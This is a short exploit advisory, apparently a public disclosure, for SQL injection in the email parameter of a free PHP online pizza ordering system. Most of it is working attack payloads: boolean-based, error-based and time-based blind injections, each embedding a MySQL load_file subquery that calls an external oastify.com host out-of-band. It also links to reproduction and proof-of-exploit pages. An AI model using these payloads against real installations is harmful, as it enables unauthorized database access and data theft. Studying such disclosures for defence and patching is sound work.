## Titles: opos-1.0 Multiple SQLi
## Author: nu11secur1ty
## Date: 06/07/2024
## Vendor: https://github.com/oretnom23
## Software:
https://www.sourcecodester.com/php/16166/online-pizza-ordering-system-php-free-source-code.html
## Reference: https://portswigger.net/web-security/sql-injection
## Description:
The email parameter appears to be vulnerable to SQL injection attacks. The
payload '+(select load_file('\\\\
prk350bzcbgiu65bqx3boktqahga43suvin5ht6.oastify.com\\ius'))+' was submitted
in the email parameter. This payload injects a SQL sub-query that calls
MySQL's load_file function with a UNC file path that references a URL on an
external domain. The application interacted with that domain, indicating
that the injected SQL query was executed. The attacker can get all
information from the system by using this vulnerability!
STATUS: HIGH- Vulnerability
[+]Exploits:
- SQLi Multiple:
```mysql
---
Parameter: email (POST)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload:
first_name=zKwBGOrp&last_name=zKwBGOrp&mobile=zKwBGOrp&address=zKwBGOrp&email=
[email protected]'+(select load_file('\\\\
prk350bzcbgiu65bqx3boktqahga43suvin5ht6.oastify.com\\ius'))+'' AND
9762=9762 AND 'REtq'='REtq&password=e7E!x2k!U6
    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP
BY clause (FLOOR)
    Payload:
first_name=zKwBGOrp&last_name=zKwBGOrp&mobile=zKwBGOrp&address=zKwBGOrp&email=
[email protected]'+(select load_file('\\\\
prk350bzcbgiu65bqx3boktqahga43suvin5ht6.oastify.com\\ius'))+'' AND (SELECT
3595 FROM(SELECT COUNT(*),CONCAT(0x7176766a71,(SELECT
(ELT(3595=3595,1))),0x71716b7671,FLOOR(RAND(0)*2))x FROM
INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND
'Gtza'='Gtza&password=e7E!x2k!U6
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload:
first_name=zKwBGOrp&last_name=zKwBGOrp&mobile=zKwBGOrp&address=zKwBGOrp&email=
[email protected]'+(select load_file('\\\\
prk350bzcbgiu65bqx3boktqahga43suvin5ht6.oastify.com\\ius'))+'' AND (SELECT
3908 FROM (SELECT(SLEEP(7)))ddOC) AND 'ECyu'='ECyu&password=e7E!x2k!U6
---
```
## Reproduce:
[href](https://www.patreon.com/posts/opos-1-0-sqli-105752878)
## Proof and Exploit:
[href](https://www.nu11secur1ty.com/2024/06/opos-10-multiple-sqli.html)
## Time spent:
00:19:00